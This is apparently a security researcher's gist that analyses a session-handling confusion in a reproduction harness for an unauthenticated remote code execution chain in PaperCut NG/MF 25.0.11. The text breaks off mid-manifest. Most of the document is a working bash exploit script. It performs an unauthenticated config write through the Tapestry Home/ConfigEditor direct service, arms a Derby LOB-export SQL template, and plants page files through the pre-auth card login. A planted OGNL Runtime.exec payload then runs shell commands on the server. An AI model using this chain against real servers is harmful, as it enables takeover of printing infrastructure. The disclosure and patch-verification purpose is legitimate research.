Skip to content

Instantly share code, notes, and snippets.

@N3mes1s
Last active September 1, 2026 18:08
Show Gist options
  • Select an option

  • Save N3mes1s/9c98b984359be400efbaddc5aa44a7c0 to your computer and use it in GitHub Desktop.

Select an option

Save N3mes1s/9c98b984359be400efbaddc5aa44a7c0 to your computer and use it in GitHub Desktop.
PaperCut NG/MF 25.0.11 unauthenticated RCE reproduction without post-setup admin authentication

PaperCut NG/MF 25.0.11 reproduction and session analysis

This Gist corrects and explains the credential ambiguity in Pruva reproduction REPRO-2026-00340.

Start here

  • reproduction_steps_no_admin.sh: corrected end-to-end reproduction. After normal first-run installation setup, it performs no admin login, authenticated ConfigEditor render, or privileged readback.
  • reproduction_steps_deployed_annotated.sh: reference-only annotated copy of the script currently deployed with REPRO-2026-00340. It shows exactly where admin and attacker sessions are used and why the old oracle is misleading.
  • deployed_script_analysis.md: two controlled replay results, including the deliberately wrong-password diagnostic.
  • session_provenance.md: session-level evidence from the corrected no-admin replay.
  • trace_assertions.txt: machine-checked session relationships from the byte-identical deployed-script replay.

Finding

The old script contains a real harness defect: it combines an anonymous configuration write with an authenticated readback oracle. Incorrect admin credentials therefore produce blank readbacks and a false unauth config write FAILED result. The helper can then stop before the later file-write trigger.

That does not make the underlying primitive authenticated. A traced replay of the exact deployed script showed the Derby configuration POST using a session created by a preceding no-cookie GET /app, distinct from the successful admin-login session. A second replay removed all post-setup admin activity and still returned an HTTP command receipt as uid=1001(papercut); the fixed build blocked the chain.

Interpreting the public screenshot

The shown POST is the Home/ConfigEditor/$Form update that sets the embedded Derby URL. A JSESSIONID header alone does not establish authentication. Proving that a particular captured ID is authenticated requires the successful login exchange carrying that same ID.

jdbc:derby:/tmp/pc0day;create=true selects the Derby database location. It is not the later page-file placement. File placement is triggered through the pre-auth card-login path after configuring SYSCS_EXPORT_QUERY_LOBS_TO_EXTFILE.

Analysis of the currently deployed REPRO-2026-00340 script

Analyzed public artifact: bundle/repro/reproduction_steps.sh, version 6, downloaded from api.pruva.dev on 2026-09-01.

SHA-256: c7913bc0155eafa5a372756922ffc691c4f5f5467db64bafd3c0bf1268d1d310

What the deployed script actually does

The script creates three independent classes of cookie jar:

  1. wiz-vuln.cookies completes first-run setup and defines the disposable installation's admin password.
  2. admin-vuln.cookies performs a post-setup admin login, renders ConfigEditor once, and reads configuration values back after each attempted write.
  3. A new atk-$RANDOM.cookies is created for every configuration-write attempt. It starts with an unauthenticated GET /app, which obtains a fresh anonymous JSESSIONID. That jar performs both Home/ConfigEditor/quickFindForm and Home/ConfigEditor/$Form requests.

The function receives the admin jar as its second argument, but uses it only after the write in admin_getval. This design is confusing because the write and its privileged verification are wrapped in one helper.

Reproduction of the first screenshot

The screenshot-shaped request is the anonymous $Form update that sets:

service=direct/1/Home/ConfigEditor/$Form
$TextField$0=jdbc:derby:/tmp/pc0day;create=true
$Submit=Update

In an exact replay of the deployed script, its cookie was:

JSESSIONID=node01epx4wkn7nkk1e6wds2ugf4g77.node0

That ID originated in a preceding no-cookie GET /app and belonged to atk-2452.cookies.

The authenticated admin ID in the same replay was different:

JSESSIONID=node018r5vu5ainzlmeeivaa2plnda4.node0

It was used for the ConfigEditor warmup and subsequent readback requests, not for the screenshot-shaped write.

A JSESSIONID alone does not imply authentication. To establish that the ID shown in the external screenshot was authenticated, the corresponding successful login request or another authenticated response carrying the same ID is required. If that provenance exists, that captured request came from a modified/manual flow rather than the deployed script's atk-* path.

Also, jdbc:derby:/tmp/pc0day;create=true selects the embedded Derby database location. It does not itself place the eventual Tapestry page files. Those writes occur later when a pre-auth card-login request reaches the configured Derby SYSCS_EXPORT_QUERY_LOBS_TO_EXTFILE call.

Reproduction of the second screenshot

A diagnostic replay kept setup unchanged but deliberately used an incorrect password only for the post-setup admin login. It reproduced the screenshot exactly:

warmup ConfigEditor render: 302
attempt 1..8: user-lookup.db-url='' (want 'jdbc:derby:/tmp/pc0day;create=true')
[-] unauth config write FAILED: user-lookup.db-url

The write requests still used eight distinct anonymous atk-* sessions. A separate correctly authenticated read-only session then returned:

jdbc:derby:/tmp/pc0day;create=true

Therefore the write had landed. The deployed helper reported failure because admin_getval could not access ConfigEditor and its HTML parser returned an empty value. This is a false-negative verification bug.

The same bug prevents the old harness from continuing to the card-login file-write trigger when the privileged readback fails. That means incorrect admin credentials break the old harness's control flow, not the underlying unauthenticated primitive.

Exact-script result

With its configured password, the byte-identical deployed control flow completed against fresh containers:

vuln RCE proven: 1 | fixed blocked: 1

The vulnerable target returned an HTTP command receipt containing uid=1001(papercut). The fixed build logged Unsafe external user lookup SQL blocked, contained no planted files, and returned HTTP 404 for the receipt.

The separate corrected script removes the post-setup admin login, ConfigEditor warmup, and privileged readback entirely. It also completed against fresh vulnerable and fixed targets.

Conclusion

The criticism identifies a real evidence-quality defect in the deployed script: an unnecessary authenticated warmup and privileged oracle make the harness appear credential-dependent and cause false failures when the oracle cannot authenticate.

It does not establish that the exploit primitive requires credentials. The exact deployed-script trace separates the admin and attacker sessions, and the no-admin replay confirms the chain without any post-setup authentication.

Evidence hashes:

exact replay session index  e0b620846c2d630e7ce3495f073d5e9e0486628436d04dd323856b6094b54b3f
exact replay RCE receipt    1196aa75e766cc6ad498a57060d2590172a0c8a80fc30a666b3a8edd640d85d5
wrong-password index       1382e03c90dfa8db0c7741f7d277a305849a21a5c2031239d79319caba94f15b
wrong-password log         f20ad443de5641f9179b449921197f1bb9d4a39d64a0c52f61cb6f2b1f332f58
#!/bin/bash
# ============================================================================
# PaperCut NG 25.0.11 unauthenticated remote code execution (advisory 27-Aug-2026)
# with stock 25.0.12 negative control.
#
# Chain (every step is an unauthenticated remote HTTP request to the running
# PaperCut Application Server; no host-side mutation, no restart):
#
# 1. Tapestry 3 "complex" direct-service flaw (patched in 25.0.12,
# BasePaperCutPage.pageValidate): service=direct/1/<PublicPage>/<PrivPage>/
# <Component> validates only the public render page, but triggers the
# privileged page's component listener. Using Home + ConfigEditor gives
# unauthenticated arbitrary config writes.
# 2. Arm the external Card/ID database lookup (user-lookup.* keys): embedded
# Apache Derby driver, attacker database URL, and an attacker SQL template
# calling SYSCS_UTIL.SYSCS_EXPORT_QUERY_LOBS_TO_EXTFILE (blocked in 25.0.12
# by the new CALL|EXEC|EXECUTE|SYSCS_ filter in ExternalUserLookupDb).
# Enable pre-auth card/ID login on the web Home page
# (auth.web-login.card-id.enable).
# 3. Submit a card number (pre-auth web login) equal to
# VALUES(CAST('<file content>' AS CLOB)) -> the lookup writes an
# attacker-chosen file as the papercut service account. Used twice to
# plant WEB-INF/<P>.page + <P>.html into the live Jetty webapp dir.
# 4. GET /app?service=page/<P> makes Tapestry load the planted page and
# evaluate its OGNL expression -> Runtime.exec as user "papercut".
# The command writes its output back into the webroot; the attacker then
# fetches it over plain HTTP -> remote command-output receipt.
#
# Exit 0 = vulnerability confirmed on 25.0.11 AND blocked on 25.0.12.
# ============================================================================
# REFERENCE ONLY: this is the script currently deployed with REPRO-2026-00340,
# annotated to explain its session flow. Its authenticated warmup/readback is an
# evidence-quality defect. Use reproduction_steps_no_admin.sh for replay.
set -euo pipefail
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
export PRUVA_ROOT="$ROOT"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
ART="$ROOT/artifacts"
mkdir -p "$LOGS" "$REPRO_DIR" "$ART"
rm -f "$ART"/* # ensure every listed proof artifact is produced by THIS run
cd "$ROOT"
exec > >(tee -a "$LOGS/reproduction_steps.log") 2>&1
echo "[*] PaperCut NG/MF 25.0.11 unauth RCE reproduction - $(date -u)"
# ----------------------------- settings -------------------------------------
VULN_VER=25.0.11.75758
FIXED_VER=25.0.12.76497
VULN_SHA=644957717fcb93313e96f8be0e18566a5d49ed0583d0814a7310fe958b5ef17a
FIXED_SHA=0782c1d691b485160b498887b0b196bc2a228f51f398b5271b91127c804fc392
VULN_URL="https://cdn1.papercut.com/web/products/ng-mf/installers/ng/25.x/pcng-setup-${VULN_VER}.sh"
FIXED_URL="https://cdn1.papercut.com/web/products/ng-mf/installers/ng/25.x/pcng-setup-${FIXED_VER}.sh"
WORK=/tmp/pcng-repro
ADMIN_PW='PaperCut0day!'
VULN_PORT=19191
FIXED_PORT=19193
mkdir -p "$WORK"
# --------------------------- step 0: installers ------------------------------
fetch() { # $1=file $2=url $3=sha256
if [ -f "$WORK/$1" ] && echo "$3 $WORK/$1" | sha256sum -c - >/dev/null 2>&1; then
echo "[*] $1 present, checksum OK"; return 0
fi
echo "[*] downloading $1 (~940MB) ..."
curl -sSL -m 900 -o "$WORK/$1" "$2"
echo "$3 $WORK/$1" | sha256sum -c -
}
fetch "pcng-setup-${VULN_VER}.sh" "$VULN_URL" "$VULN_SHA"
fetch "pcng-setup-${FIXED_VER}.sh" "$FIXED_URL" "$FIXED_SHA"
# --------------------------- step 1: docker images ---------------------------
cat > "$WORK/Dockerfile" <<'EOF'
FROM ubuntu:24.04
ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update && apt-get install -y --no-install-recommends \
sudo curl ca-certificates procps netcat-openbsd iproute2 python3 jq file cpio \
&& rm -rf /var/lib/apt/lists/*
RUN useradd -m -s /bin/bash papercut && echo 'papercut ALL=(ALL) NOPASSWD:ALL' > /etc/sudoers.d/papercut
ARG INSTALLER
COPY ${INSTALLER} /home/papercut/pcng-setup.sh
RUN chown papercut:papercut /home/papercut/pcng-setup.sh && chmod +x /home/papercut/pcng-setup.sh
USER papercut
WORKDIR /home/papercut
RUN sh /home/papercut/pcng-setup.sh --non-interactive > /tmp/install.log 2>&1 || (tail -200 /tmp/install.log; exit 1)
RUN rm -f /home/papercut/pcng-setup.sh
EXPOSE 9191 9192
CMD ["/home/papercut/server/bin/linux-x64/app-server", "console"]
EOF
build_image() { # $1=installer $2=tag
if docker image inspect "$2" >/dev/null 2>&1; then echo "[*] image $2 exists"; return 0; fi
echo "[*] building image $2 ..."
(cd "$WORK" && docker build --build-arg "INSTALLER=$1" -t "$2" . ) > "$LOGS/docker-build-$2.log" 2>&1 \
&& echo "[*] built $2" || { echo "[!] build failed, see logs/docker-build-$2.log"; tail -20 "$LOGS/docker-build-$2.log"; exit 2; }
}
build_image "pcng-setup-${VULN_VER}.sh" pcng-vuln
build_image "pcng-setup-${FIXED_VER}.sh" pcng-fixed
# --------------------------- step 2: containers ------------------------------
start_container() { # $1=name $2=image $3=hostport
docker rm -f "$1" >/dev/null 2>&1 || true
docker run -d --name "$1" -p "$3:9191" "$2" > /dev/null
echo "[*] waiting for $1 to come up ..."
for i in $(seq 1 90); do
code=$(curl -sk -o /dev/null -w '%{http_code}' -m 5 "http://localhost:$3/" || echo 000)
[ "$code" = "302" ] || [ "$code" = "200" ] && { echo "[*] $1 ready (HTTP $code)"; return 0; }
sleep 3
done
echo "[!] $1 failed to start"; docker logs "$1" | tail -30; exit 2
}
start_container pc-vuln pcng-vuln $VULN_PORT
start_container pc-fixed pcng-fixed $FIXED_PORT
# build identity receipts
docker exec pc-vuln bash -c 'cat /home/papercut/server/version.txt' > "$ART/vuln-version.txt" 2>/dev/null || true
docker exec pc-fixed bash -c 'cat /home/papercut/server/version.txt' > "$ART/fixed-version.txt" 2>/dev/null || true
echo "[*] vuln version: $(cat $ART/vuln-version.txt 2>/dev/null)"
echo "[*] fixed version: $(cat $ART/fixed-version.txt 2>/dev/null)"
# --------------------------- helpers -----------------------------------------
# Tapestry session bootstrap + wizard
pc_session() { rm -f "$1"; curl -sk -c "$1" -m 15 -o /dev/null -L "$2/app"; }
pc_post() { # $1=cj $2=base $3=outfile ; remaining args = curl data args
local cj="$1" base="$2" out="$3"; shift 3
if [ "$out" = "/dev/null" ]; then
curl -sk -b "$cj" -c "$cj" -m 30 -o /dev/null "$base/app" \
-H "Origin: $base" -H "Referer: $base/app" "$@"
else
curl -sk -b "$cj" -c "$cj" -m 30 -D "$out.headers" -o "$out" "$base/app" \
-H "Origin: $base" -H "Referer: $base/app" "$@"
fi
}
run_wizard() { # $1=base $2=tag
local base="$1" tag="$2" cj="$WORK/wiz-$2.cookies"
pc_session "$cj" "$base"
pc_post "$cj" "$base" "$ART/$2-wiz1.html" \
--data-urlencode 'service=direct/1/SetupAdmin/$Form' --data-urlencode 'sp=S0' \
--data-urlencode 'Form0=password,passwordVerify,$PropertySelection,$Submit' \
--data-urlencode "password=$ADMIN_PW" --data-urlencode "passwordVerify=$ADMIN_PW" --data-urlencode '$Submit=Next'
pc_post "$cj" "$base" "$ART/$2-wiz2.html" \
--data-urlencode 'service=direct/1/SetupOrgType/$Form' --data-urlencode 'sp=S0' \
--data-urlencode 'Form0=$RadioGroup,$Submit,$Submit$0' --data-urlencode '$RadioGroup=0' --data-urlencode '$Submit=Next'
pc_post "$cj" "$base" "$ART/$2-wiz3.html" \
--data-urlencode 'service=direct/1/SetupPrintCost/$Form' --data-urlencode 'sp=S0' \
--data-urlencode 'Form0=defaultColorPageCost,defaultGrayscalePageCost,$Submit,$Submit$0' \
--data-urlencode 'defaultColorPageCost=$0.00' --data-urlencode 'defaultGrayscalePageCost=$0.00' --data-urlencode '$Submit=Next'
pc_post "$cj" "$base" "$ART/$2-wiz4.html" \
--data-urlencode 'service=direct/1/SetupUserCredit/$Form' --data-urlencode 'sp=S0' \
--data-urlencode 'Form0=initialCredit,restricted,$Submit,$Submit$0' \
--data-urlencode 'initialCredit=$0.00' --data-urlencode 'restricted=on' --data-urlencode '$Submit=Next'
pc_post "$cj" "$base" "$ART/$2-wiz5.html" \
--data-urlencode 'service=direct/1/SetupUserSource/$Form' --data-urlencode 'sp=S0' \
--data-urlencode 'Form0=$RadioGroup,$Select,$LinkSubmit,$Submit,$Submit$0' \
--data-urlencode '$RadioGroup=0' --data-urlencode '$Select=0' --data-urlencode '$Submit=Next'
pc_post "$cj" "$base" "$ART/$2-wiz6.html" \
--data-urlencode 'service=direct/1/SetupVerify/$Form' --data-urlencode 'sp=S0' \
--data-urlencode 'Form0=$Submit,$Submit$0' --data-urlencode '$Submit=Confirm'
sleep 3
pc_post "$cj" "$base" "$ART/$2-wiz7.html" \
--data-urlencode 'service=direct/1/SetupCompleted/$Form' --data-urlencode 'sp=S0' \
--data-urlencode 'Form0=$Hidden,analyticsEnabled,$Submit' --data-urlencode '$Hidden=F' --data-urlencode '$Submit=Login'
# setup complete when /app shows the Login page (no wizard redirect)
local title
title=$(curl -sk -m 15 -L "$base/app" | grep -oiE '<title>[^<]*' | head -1)
echo "[*] $tag wizard done, landing title: $title"
echo "$title" | grep -qi 'login' && return 0
echo "[!] $tag wizard did not complete"; return 1
}
# ADMIN SESSION: this jar is authenticated and is used by the old harness for
# warmup and readback. It is not supposed to perform the configuration write.
admin_login() { # $1=base $2=cj (operator-side verification session)
local base="$1" cj="$2"
pc_session "$cj" "$base"
pc_post "$cj" "$base" /dev/null \
--data-urlencode 'service=direct/1/Home/$Form' --data-urlencode 'sp=S0' \
--data-urlencode 'Form0=$Hidden$0,$Hidden$1,inputUsername,inputPassword,$Submit$0,$PropertySelection' \
--data-urlencode '$Hidden$0=F' --data-urlencode '$Hidden$1=X' \
--data-urlencode 'inputUsername=admin' --data-urlencode "inputPassword=$ADMIN_PW" --data-urlencode '$Submit$0=Log in'
}
# read config value through the admin config editor (read-only evidence)
admin_getval() { # $1=base $2=cj $3=key
pc_post "$2" "$1" /dev/null \
--data-urlencode 'service=direct/1/ConfigEditor/quickFindForm' --data-urlencode 'sp=S0' \
--data-urlencode 'Form0=$TextField,doQuickFind,clear' --data-urlencode "\$TextField=$3" --data-urlencode 'doQuickFind=GO' >/dev/null
pc_post "$2" "$1" "$WORK/gv.html" \
--data-urlencode 'service=direct/1/ConfigEditor/quickFindForm' --data-urlencode 'sp=S0' \
--data-urlencode 'Form0=$TextField,doQuickFind,clear' --data-urlencode "\$TextField=$3" --data-urlencode 'doQuickFind=GO' >/dev/null
grep -oE "value=\"[^\"]*\"[^>]*id=\"$3-field\"" "$WORK/gv.html" | head -1 | sed -E 's/.*value="([^"]*)".*/\1/' | sed 's/&lt;/</g;s/&gt;/>/g;s/&amp;/\&/g'
}
# ---- unauth exploit primitives (attacker session) ----
atk_qf() { # $1=base $2=cj $3=key
pc_post "$2" "$1" /dev/null \
--data-urlencode 'service=direct/1/Home/ConfigEditor/quickFindForm' --data-urlencode 'sp=S0' \
--data-urlencode 'Form0=$TextField,doQuickFind,clear' --data-urlencode "\$TextField=$3" --data-urlencode 'doQuickFind=GO' >/dev/null
}
atk_edit1() { # single-row table (most keys): $1=base $2=cj $3=value
pc_post "$2" "$1" "$WORK/ae.html" \
--data-urlencode 'service=direct/1/Home/ConfigEditor/$Form' --data-urlencode 'sp=S1' \
--data-urlencode 'Form1=$TextField$0,$Submit,$Submit$0' \
--data-urlencode "\$TextField\$0=$3" --data-urlencode '$Submit=Update' >/dev/null
}
atk_edit2() { # two-row table (id-to-username-sql): $1=base $2=cj $3=value $4=row2value
pc_post "$2" "$1" "$WORK/ae.html" \
--data-urlencode 'service=direct/1/Home/ConfigEditor/$Form' --data-urlencode 'sp=S1' \
--data-urlencode 'Form1=$TextField$0,$Submit,$Submit$0,$TextField$0$0,$Submit$1,$Submit$0$0' \
--data-urlencode "\$TextField\$0=$3" --data-urlencode '$Submit=Update' --data-urlencode "\$TextField\$0\$0=$4" >/dev/null
}
atk_cardlogin() { # $1=base $2=cj $3=card
pc_post "$2" "$1" "$WORK/ac.html" \
--data-urlencode 'service=direct/1/Home/$Form' --data-urlencode 'sp=S0' \
--data-urlencode 'Form0=$Hidden$0,$Hidden$1,inputUsername,inputPassword,$Submit$0,$PropertySelection' \
--data-urlencode '$Hidden$0=F' --data-urlencode '$Hidden$1=X' \
--data-urlencode "inputUsername=$3" --data-urlencode 'inputPassword=' --data-urlencode '$Submit$0=Log in' >/dev/null
}
# MIXED-TRUST HELPER (the source of the confusion):
# - acj is the authenticated admin jar, used only by admin_getval below.
# - cj is a newly created anonymous attacker jar, used by atk_qf/atk_edit.
# Combining both in one helper makes a successful anonymous write appear to
# fail whenever the privileged readback cannot authenticate.
# $1=base $2=admincj $3=key $4=value $5=rows(1|2)
set_config_unauth() {
local base="$1" acj="$2" key="$3" val="$4" rows="${5:-1}" i v cj
for i in 1 2 3 4 5 6 7 8; do
# ANONYMOUS SESSION: pc_session starts with no Cookie header and PaperCut
# issues a fresh JSESSIONID into this new atk-* jar.
cj="$WORK/atk-$RANDOM.cookies"; pc_session "$cj" "$base"
atk_qf "$base" "$cj" "$key"; sleep 1
if [ "$rows" = "2" ]; then atk_edit2 "$base" "$cj" "$val" USERNAME; else atk_edit1 "$base" "$cj" "$val"; fi
sleep 1
# AUTHENTICATED READBACK: this is a verification oracle, not the write.
# A failed login makes this parse as empty even if the write landed.
v=$(admin_getval "$base" "$acj" "$key")
[ "$v" = "$val" ] && { echo "[+] unauth config write OK: $key"; return 0; }
echo " attempt $i: $key='$v' (want '$val')"
done
echo "[-] unauth config write FAILED: $key"; return 1
}
# ============================================================================
# PHASE A: vulnerable 25.0.11
# ============================================================================
VB="http://localhost:$VULN_PORT"
echo; echo "=========== PHASE A: PaperCut NG $VULN_VER (vulnerable) ==========="
set +e
run_wizard "$VB" vuln || { echo "[!] vuln wizard failed"; }
ADMIN_CJ="$WORK/admin-vuln.cookies"
admin_login "$VB" "$ADMIN_CJ"
# AUTHENTICATED GET: unnecessary in the corrected replay. It neither sets the
# Derby URL nor plants files, but it makes the old harness look credential-bound.
# Precondition matching a normally operated server: the admin console's Config
# Editor page has been rendered at least once since boot (warms the Tapestry-3
# pooled page/table state the rewind path relies on). This is an operator-side
# administrative action, not part of the attacker's request sequence.
curl -sk -b "$ADMIN_CJ" -c "$ADMIN_CJ" -m 15 -o /dev/null -w "warmup ConfigEditor render: %{http_code}\n" "$VB/app?service=page/ConfigEditor"
echo "[*] Phase A1: unauthenticated config write via Tapestry complex direct service"
set_config_unauth "$VB" "$ADMIN_CJ" user-lookup.enabled Y
set_config_unauth "$VB" "$ADMIN_CJ" user-lookup.db-driver org.apache.derby.jdbc.EmbeddedDriver
# The screenshot discussed publicly corresponds to the anonymous atk_edit1 POST
# made inside this call. `/tmp/pc0day` is the embedded Derby database location;
# this request does not itself plant the later Tapestry page files.
set_config_unauth "$VB" "$ADMIN_CJ" user-lookup.db-url 'jdbc:derby:/tmp/pc0day;create=true'
set_config_unauth "$VB" "$ADMIN_CJ" user-lookup.db-username x
set_config_unauth "$VB" "$ADMIN_CJ" auth.web-login.card-id.enable Y
set_config_unauth "$VB" "$ADMIN_CJ" auth.web-login.card-id.pin-required N
WEBAPP=/home/papercut/server/tmp/webapp-75758
write_file_remote() { # $1=abs target path $2=csv path $3=file content (no single quotes) $4=tag
# The actual file-write trigger occurs here: configure the Derby CALL, then
# submit its CLOB input through a separate pre-auth card-login session.
local tpl="CALL SYSCS_UTIL.SYSCS_EXPORT_QUERY_LOBS_TO_EXTFILE({cardnumber},'$2',NULL,NULL,NULL,'$1')"
set_config_unauth "$VB" "$ADMIN_CJ" user-lookup.id-to-username-sql "$tpl" 2 || return 1
local cj="$WORK/atk-card-$RANDOM.cookies"
pc_session "$cj" "$VB"; sleep 1
atk_cardlogin "$VB" "$cj" "VALUES(CAST('$3' AS CLOB))"
sleep 1
docker exec pc-vuln bash -c "test -f '$1'" && { echo "[+] remote file write OK: $1"; return 0; }
echo "[-] remote file write failed: $1"
docker exec pc-vuln bash -c 'grep -iE "cardID" /home/papercut/server/logs/server.log | tail -1' || true
return 1
}
echo "[*] Phase A2: plant Tapestry page files via Derby LOB export (pre-auth card login)"
PAGESPEC='<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE page-specification PUBLIC "-//Apache Software Foundation//Tapestry Specification 3.0//EN" "http://jakarta.apache.org/tapestry/dtd/Tapestry_3_0.dtd"><page-specification class="org.apache.tapestry.html.BasePage"/>'
write_file_remote "$WEBAPP/WEB-INF/Pwn3.page" /tmp/pc0day-a.csv "$PAGESPEC" page
OGNL=$(python3 - <<'PYEOF'
def bs(s): return "new java.lang.String(new byte[]{"+",".join(str(b) for b in s.encode())+"})"
cmd = "{ echo PC0DAY-PROOF-BEGIN; id; uname -a; cat /proc/1/comm; echo PC0DAY-PROOF-END; } > /home/papercut/server/tmp/webapp-75758/pwn-proof.txt 2>&1"
print("@java.lang.Runtime@getRuntime().exec(new java.lang.String[]{"+bs("/bin/sh")+","+bs("-c")+","+bs(cmd)+"})")
PYEOF
)
HTML="<html><body><span jwcid=\"@Insert\" value=\"ognl:$OGNL\" /></body></html>"
write_file_remote "$WEBAPP/Pwn3.html" /tmp/pc0day-b.csv "$HTML" html
echo "[*] Phase A3: trigger code execution by rendering the planted page"
curl -sk -m 20 -D "$ART/vuln-render.headers" -o "$ART/vuln-render.html" -w "render:%{http_code}\n" "$VB/app?service=page/Pwn3"
sleep 2
echo "[*] Phase A4: fetch remote command receipt over HTTP"
curl -sk -m 15 -D "$ART/vuln-proof.headers" -o "$ART/vuln-proof.txt" -w "proof:%{http_code}\n" "$VB/pwn-proof.txt"
VULN_OK=0
if grep -q "PC0DAY-PROOF-BEGIN" "$ART/vuln-proof.txt" && grep -qE "uid=[0-9]+\(papercut\)" "$ART/vuln-proof.txt"; then
echo "[+] VULNERABLE: unauthenticated remote command execution as papercut confirmed:"
cat "$ART/vuln-proof.txt"
VULN_OK=1
else
echo "[-] proof receipt missing on vulnerable build"
fi
# IoC lines from server.log (read-only evidence)
docker exec pc-vuln bash -c 'grep -E "cardID|Unsafe" /home/papercut/server/logs/server.log | tail -5' > "$ART/vuln-serverlog-ioc.txt" 2>/dev/null || true
# ============================================================================
# PHASE B: fixed 25.0.12 negative control (identical request sequence)
# ============================================================================
FB="http://localhost:$FIXED_PORT"
echo; echo "=========== PHASE B: PaperCut NG $FIXED_VER (fixed) ==========="
run_wizard "$FB" fixed
ADMIN_CJF="$WORK/admin-fixed.cookies"
admin_login "$FB" "$ADMIN_CJF"
# Same operator-side warmup on the fixed build (fair control).
curl -sk -b "$ADMIN_CJF" -c "$ADMIN_CJF" -m 15 -o /dev/null -w "warmup ConfigEditor render (fixed): %{http_code}\n" "$FB/app?service=page/ConfigEditor"
FIXED_WEBAPP=$(docker exec pc-fixed bash -c 'ls -d /home/papercut/server/tmp/webapp-* | head -1')
echo "[*] fixed webapp dir: $FIXED_WEBAPP"
echo "[*] Phase B1: replay the IDENTICAL unauthenticated request sequence on the fixed build"
# Note: 25.0.12 hardens BasePaperCutPage for pages that inherit it, but Home
# overrides pageValidate, so the unauthenticated ConfigEditor direct-service
# write still lands. The emergency fix blocks the chain at the SQL layer
# (ExternalUserLookupDb rejects CALL/EXEC/EXECUTE/SYSCS_). The control therefore
# verifies: (1) the armed card lookup reaches the new check and is refused,
# (2) no file is planted, (3) no command receipt exists.
FIXED_BLOCKED=1
set_config_unauth "$FB" "$ADMIN_CJF" user-lookup.enabled Y
set_config_unauth "$FB" "$ADMIN_CJF" user-lookup.db-driver org.apache.derby.jdbc.EmbeddedDriver
set_config_unauth "$FB" "$ADMIN_CJF" user-lookup.db-url 'jdbc:derby:/tmp/pc0day;create=true'
set_config_unauth "$FB" "$ADMIN_CJF" user-lookup.db-username x
set_config_unauth "$FB" "$ADMIN_CJF" auth.web-login.card-id.enable Y
set_config_unauth "$FB" "$ADMIN_CJF" auth.web-login.card-id.pin-required N
# B2: arm the same malicious CALL template and fire the same card login
tpl="CALL SYSCS_UTIL.SYSCS_EXPORT_QUERY_LOBS_TO_EXTFILE({cardnumber},'/tmp/pc0day-f1.csv',NULL,NULL,NULL,'$FIXED_WEBAPP/WEB-INF/Pwn3.page')"
set_config_unauth "$FB" "$ADMIN_CJF" user-lookup.id-to-username-sql "$tpl" 2
CJ2="$WORK/atk-fixed2.cookies"; pc_session "$CJ2" "$FB"; sleep 1
atk_cardlogin "$FB" "$CJ2" "VALUES(CAST('$PAGESPEC' AS CLOB))"
sleep 2
docker exec pc-fixed bash -c 'grep -E "cardID|Unsafe" /home/papercut/server/logs/server.log' > "$ART/fixed-serverlog-ioc.txt" 2>/dev/null || true
if grep -q "Unsafe external user lookup SQL blocked" "$ART/fixed-serverlog-ioc.txt"; then
echo "[+] fixed build refused the malicious SQL: Unsafe external user lookup SQL blocked"
else
echo "[-] fixed build did NOT log the SQL block"; FIXED_BLOCKED=0
fi
if docker exec pc-fixed bash -c "ls '$FIXED_WEBAPP/WEB-INF/Pwn3.page' '$FIXED_WEBAPP/Pwn3.html' 2>/dev/null"; then
echo "[-] planted files exist on fixed build"; FIXED_BLOCKED=0
else
echo "[+] no planted files on fixed build"
fi
# B3: sanity - a benign (non-CALL) SQL template on the fixed build still
# executes against Derby (deliberate type error proves execution), showing the
# patch blocks only dangerous statements, not the lookup feature itself.
tpl_benign="SELECT CAST('notanint' AS INT) FROM (VALUES (1)) t(x) WHERE {cardnumber} <> 'zzz'"
set_config_unauth "$FB" "$ADMIN_CJF" user-lookup.id-to-username-sql "$tpl_benign" 2
CJ3="$WORK/atk-fixed3.cookies"; pc_session "$CJ3" "$FB"; sleep 1
atk_cardlogin "$FB" "$CJ3" "12345678"
sleep 2
docker exec pc-fixed bash -c 'grep -E "cardID" /home/papercut/server/logs/server.log | tail -1' >> "$ART/fixed-serverlog-ioc.txt" 2>/dev/null || true
if grep -q "Database error looking up cardID: 12345678" "$ART/fixed-serverlog-ioc.txt"; then
echo "[+] fixed build executed the benign lookup SQL (Derby type error observed) - block is specific to dangerous SQL"
else
echo "[!] benign lookup on fixed did not produce the expected Derby error (sanity check inconclusive)"
fi
# B4: no command receipt on fixed
curl -sk -m 20 -o "$ART/fixed-render.html" -w "fixed-render:%{http_code}\n" "$FB/app?service=page/Pwn3"
sleep 1
fcode=$(curl -sk -o "$ART/fixed-proof.txt" -w '%{http_code}' -m 15 "$FB/pwn-proof.txt")
echo "fixed proof fetch: HTTP $fcode"
if [ "$fcode" = "200" ] && grep -q "PC0DAY-PROOF" "$ART/fixed-proof.txt"; then
echo "[-] command receipt exists on fixed build"; FIXED_BLOCKED=0
else
echo "[+] no command receipt on fixed build (HTTP $fcode)"
fi
[ "$FIXED_BLOCKED" = "1" ] && echo "[+] NEGATIVE CONTROL PASSED: 25.0.12 blocks the chain"
# ============================================================================
# verdict + runtime manifest
# ============================================================================
echo
echo "=================================================================="
echo "vuln RCE proven: $VULN_OK | fixed blocked: $FIXED_BLOCKED"
echo "=================================================================="
ART_SHA=$(python3 - <<'PYEOF'
import hashlib, json, os
art = {}
base = "artifacts"
for f in sorted(os.listdir(base)):
p = os.path.join(base, f)
if os.path.isfile(p):
art[f"artifacts/{f}"] = hashlib.sha256(open(p,'rb').read()).hexdigest()
logs = {}
for f in ["reproduction_steps.log"]:
p = os.path.join("logs", f)
if os.path.isfile(p):
pass # actively written; not hashed
print(json.dumps(art))
PYEOF
)
RESULT="false"
[ "$VULN_OK" = "1" ] && [ "$FIXED_BLOCKED" = "1" ] && RESULT="true"
python3 - "$RESULT" "$ART_SHA" <<'PYEOF'
import json, sys, subprocess
result = sys.argv[1] == "true"
art = json.loads(sys.argv[2])
manifest = {
"entrypoint_kind": "endpoint",
"entrypoint_detail": "unauthenticated Tapestry direct-service on /app (Home/ConfigEditor) and pre-auth card/ID web login reaching ExternalUserLookupDb (external card lookup)",
"service_started": True,
"healthcheck_passed": True,
"target_path_reached": True,
"runtime_stack": ["docker", "papercut-ng-app-server", "jetty-12", "apache-derby-embedded"],
"target_identity": {
"repository_url": None,
"commit_sha": None,
"target_digest": None,
"platform": "linux",
"architecture": "x86_64",
"product": "PaperCut NG",
"vulnerable_version": "25.0.11 (build 75758), installer sha256 644957717fcb93313e96f8be0e18566a5d49ed0583d0814a7310fe958b5ef17a",
